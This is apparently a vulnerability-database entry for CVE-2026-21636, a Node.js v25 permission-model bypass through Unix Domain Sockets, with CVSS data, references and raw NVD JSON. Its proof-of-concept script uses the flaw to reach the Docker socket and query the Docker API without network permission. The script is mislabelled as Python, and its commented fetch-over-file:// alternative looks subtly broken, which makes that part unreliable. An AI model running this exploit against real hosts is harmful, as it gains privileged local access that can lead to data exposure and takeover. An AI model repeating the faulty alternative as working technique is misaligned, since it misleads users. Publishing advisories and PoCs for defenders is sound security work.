CVE-2026-21636

Description

A flaw in Node.js's permission model allows Unix Domain Socket (UDS) connections to bypass network restrictions when `--permission` is enabled. Even without `--allow-net`, attacker-controlled inputs (such as URLs or socketPath options) can connect to arbitrary local sockets via net, tls, or undici/fetch. This breaks the intended security boundary of the permission model and enables access to privileged local services, potentially leading to privilege escalation, data exposure, or local code execution. * The issue affects users of the Node.js permission model on version v25. In the moment of this vulnerability, network permissions (`--allow-net`) are still in the experimental phase.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE

Node.js v25.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-21636 - Node.js Permission Model UDS Bypass
// Run with: node --permission poc.js (without --allow-net)
const net = require('net');

// Try to connect to Docker socket (privileged local service)
const dockerSocket = '/var/run/docker.sock';

try {
  const client = net.createConnection(dockerSocket);
  
  client.on('connect', () => {
    console.log('[+] Connected to Docker socket successfully!');
    console.log('[+] Bypassed permission model - UDS connection allowed without --allow-net');
    
    // Send Docker API request to list containers
    const request = 'GET /v1.41/containers/json HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n';
    client.write(request);
  });
  
  client.on('data', (data) => {
    console.log('[+] Received response from Docker API:');
    console.log(data.toString());
    client.end();
  });
  
  client.on('error', (err) => {
    console.log('[-] Connection failed:', err.message);
  });
} catch (err) {
  console.log('[-] Error:', err.message);
}

// Alternative: Using fetch with file:// protocol
// fetch('file:///var/run/docker.sock/v1.41/containers/json')
//   .then(r => r.text())
//   .then(console.log);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21636
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21636
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21636/
[4] VulDB https://vuldb.com/cve/CVE-2026-21636
[5] https://nodejs.org/en/blog/vulnerability/december-2025-security-releases

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21636", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:05.813", "lastModified": "2026-01-30T20:20:56.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in Node.js's permission model allows Unix Domain Socket (UDS) connections to bypass network restrictions when `--permission` is enabled. Even without `--allow-net`, attacker-controlled inputs (such as URLs or socketPath options) can connect to arbitrary local sockets via net, tls, or undici/fetch. This breaks the intended security boundary of the permission model and enables access to privileged local services, potentially leading to privilege escalation, data exposure, or local code execution.\n\n* The issue affects users of the Node.js permission model on version v25.\n\nIn the moment of this vulnerability, network permissions (`--allow-net`) are still in the experimental phase."}, {"lang": "es", "value": "Una falla en el modelo de permisos de Node.js permite que las conexiones de Unix Domain Socket (UDS) eludan las restricciones de red cuando '--permission' está habilitado. Incluso sin '--allow-net', las entradas controladas por el atacante (como URLs u opciones de socketPath) pueden conectarse a sockets locales arbitrarios a través de net, tls o undici/fetch. Esto rompe el límite de seguridad previsto del modelo de permisos y permite el acceso a servicios locales privilegiados, lo que podría llevar a escalada de privilegios, exposición de datos o ejecución de código local.\n\n* El problema afecta a los usuarios del modelo de permisos de Node.js en la versión v25.\n\nEn el momento de esta vulnerabilidad, los permisos de red ('--allow-net') todavía están en fase experimental."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "25.0.0", "versionEndExcluding": "25.3.0", "matchCriteriaId": "970EF154-D905-4FDA-85CB-C3AB08BEFAEC"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}]}}